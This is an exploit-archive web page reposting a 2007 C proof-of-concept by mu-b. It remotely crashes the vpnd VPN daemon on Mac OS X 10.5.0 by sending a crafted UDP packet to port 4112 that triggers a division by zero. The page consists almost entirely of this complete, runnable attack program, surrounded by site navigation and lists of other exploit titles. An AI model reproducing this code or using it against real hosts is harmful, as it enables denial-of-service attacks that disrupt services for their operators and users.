首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Apple Mac OS X 10.5.0 (leopard) vpnd Remote Denial of Service PoC
来源:mu-b@digit-labs.org 作者:mu-b 发布时间:2007-12-05  
/* vpnd-leopard-lb-dos.c
*
* Copyright (c) 2007 by <mu-b@digit-labs.org>
*
* Apple MACOS X 10.5.0 (leopard) vpnd remote DoS POC
* by mu-b - Fri 9 Nov 2007
*
* - Tested on: Apple MACOS X 10.5.0 (leopard) vpnd
*
* Program received signal EXC_ARITHMETIC, Arithmetic exception.
* 0x00004828 in accept_connections ()
*
*    - Private Source Code -DO NOT DISTRIBUTE -
* http://www.digit-labs.org/ -- Digit-Labs 2007!@$!
*/

#include <stdio.h>
#include <stdlib.h>

#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/time.h>
#include <sys/types.h>

#define DEF_PORT      4112
#define PORT_VPND     DEF_PORT

static char abuf[] =
  "\x00\x01\x00\x18"
  "\x00\x00\x00\x00"
  "\xd5\xa5\xf9\xc3"
  "\x00\x00"          /* [edi+0Ch] -> ecx == 0 */
  "\x00\x00\x00\x00"
  "\x00\x00\x00\x00"
  "\x00\x00";

static void zattack (char *host);

static void
zattack (char *host)
{
  struct sockaddr_in address;
  struct hostent *hp;
  int fd, n;

  if ((fd = socket (AF_INET, SOCK_DGRAM, 0)) == -1)
    {
      perror ("socket()");
      exit (EXIT_FAILURE);
    }

  if ((hp = gethostbyname (host)) == NULL)
    {
      perror ("gethostbyname()");
      exit (EXIT_FAILURE);
    }

  memset (&address, 0, sizeof (address));
  memcpy ((char *) &address.sin_addr, hp->h_addr, hp->h_length);
  address.sin_port = htons (PORT_VPND);

  printf ("+Attacking %s:%d\n", host, PORT_VPND);

  n = sendto (fd, abuf, sizeof abuf - 1, 0, (struct sockaddr *) &address, sizeof address);
  if (n != sizeof abuf - 1)
    {
      fprintf (stderr, "zattack: sendto %d != %d\n", n, sizeof abuf - 1);
      exit (EXIT_FAILURE);
    }

  close (fd);
}

int
main (int argc, char **argv)
{
  printf ("Apple MACOS X 10.5.0 (leopard) vpnd remote DoS PoC\n"
          "by: <mu-b@digit-labs.org>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2007!@$!\n\n");

  if (argc <= 1)
    {
      fprintf (stderr, "Usage: %s <host>\n", argv[0]);
      exit (EXIT_SUCCESS);
    }

  zattack (argv[1]);

  printf ("+Wh00t!\n");

  return (EXIT_SUCCESS);
}

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Apple Mac OS X xnu <= 1228.0 L
·Cisco Phone 7940 Remote Denial
·VLC 0.86 < 0.86d ActiveX Remot
·Send ICMP Nasty Garbage (sing)
·RealPlayer 11 Malformed AU Fil
·Media Player Classic 6.4.9 MP4
·Windows Media Player AIFF Divi
·Windows Media Player 6.4 MP4 F
·Seditio CMS <= 121 Remote SQL
·Nullsoft Winamp 5.32 MP4 tags
·警告!暴风影音3.7.11.13 爆远程
·MonAlbum 0.87 Upload Shell / P
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved